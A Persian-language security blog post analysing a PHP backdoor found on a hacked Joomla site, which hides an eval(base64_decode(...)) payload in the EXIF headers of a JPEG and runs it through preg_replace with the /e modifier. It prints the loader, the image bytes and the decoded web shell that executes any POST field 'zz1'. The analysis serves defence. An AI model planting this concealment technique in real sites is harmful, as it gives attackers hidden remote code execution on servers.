مشکلات امنیتی CMS

فایل مخرب پنهان در هدر فایل php سایت های جوملایی

1 42

JoomlaBackdoor_V1

اخیرا تیم امنیتی ما در سرویس server-side-scanning فایل مخرب جدیدی را شناسایی کرده است .چند روز گذشته  backdoor بسیار جالبی را در یکی از وب سایت های هک شده شناسایی کرده ایم.این Malware برخلاف روش های معمول مخفی نمودن محتویات مخرب مانند (کد کردن با base64/gzip encoding ) ، اطلاعات خود را در سرآیند EXIF فایل های jpeg (EXIF headers of a JPEG image) مخفی نموده است

و هنگام فراخوانی و اجرای دستورات از توابع exif_read_data و preg_replace  استفاده می کند.

این فایل مخرب از دو بخش تقسیم می شود که یک قسمت ترکیبی از توابع exif_read_data  می باشد تا اطلاعات موجود در سرآیند عکس را بخوانند و  توابع preg_replace می باشد تا دستوراتی که در محتوی فایل می باشد را اجرا کند.چیزی که ما در سایت هک شده مشاهده نموده ایم . در ذیل آمده است.

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');

 

هرچند هر دو تابع به خودی خود خطر نداری و در اکثر اوقات برای خواندن عکس از تابع Exif_read_data استفاده می شود و از تابع preg_replace نیز برای replace کردن محتوای رشته ها استفاده می شود.اگر چه تابع preg_replace یک option مخفی برای اقدامات مخرب دارد مثلا در صورتی که شما از گزینه /e استفاده کنید می توانید با توابع eval محتوی دلخواه خود را به جای محتوی رشته ها استفاده نمایید.

با مشاهده فایل bun.jpg بخش دوم این Malware مشخص می گردد. که محتوی فایل مربوطه در ذیل آمده است.

ÿØÿà^@^PJFIF^@^A^B^@^@d^@d^@^@ÿá^@¡Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@ÿì^@^QDucky^@^A^@^D^@^@^@<^@^@ÿî^@^NAdobe^

 

بله همان طور که محتوی فایل مربوطه را مشاهده میکنید می بینید که از توابع eval و همچنین Base64 در بطن فایل jpeg استفاده شده است.

با توجه به این که header Make دارای سوئیچ های قوی مانند “/.*/e” می باشد. لذا با استفاده از این keyword ها امکان اجرا دستورات فراخوانی شده با eval توسط تابع preg_replace محقق می گردد.

با مشاهده اطلاعات EXIF به نکات جالبی در مورد Backdoor موجود در این فایل مواجه میشویم.

در فایل مربوطه می بینید که توابع  “eval ( base64_decode” وجود دارد که در header با نام Model مخفی شده است.که وقتی شما همه این مواردرا در کنار هم قرار دهید به backdoor مربوطه میرسد و متوجه میشوید که هکر می تواند براحتی هر دو سرآیند maker  و model را در EXIT header بخواند و preg_replace را با آن پرکند.و وقتی $exif[‘Make’] و $exif[‘Model’] را modify می کنیم. نهایتا به backdoor زیر می رسیم.

preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGl ...");

و با decode کردن به نتیجه ذیل می رسیم.

if (isset( $_POST["zz1"])) { eval (stripslashes( $_POST["zz1"]..

که همان طور که مشخص است هر درخواستی که با متغییر zz1 بصورت post ارسال شود. اجرا می شود.

 

 

در باره نویسنده / 

BlogAdmin

ارسال پاسخ

ایمیل شما نمایش داده نمی‌شود. موارد مورد نیاز علامتگذاری شده است *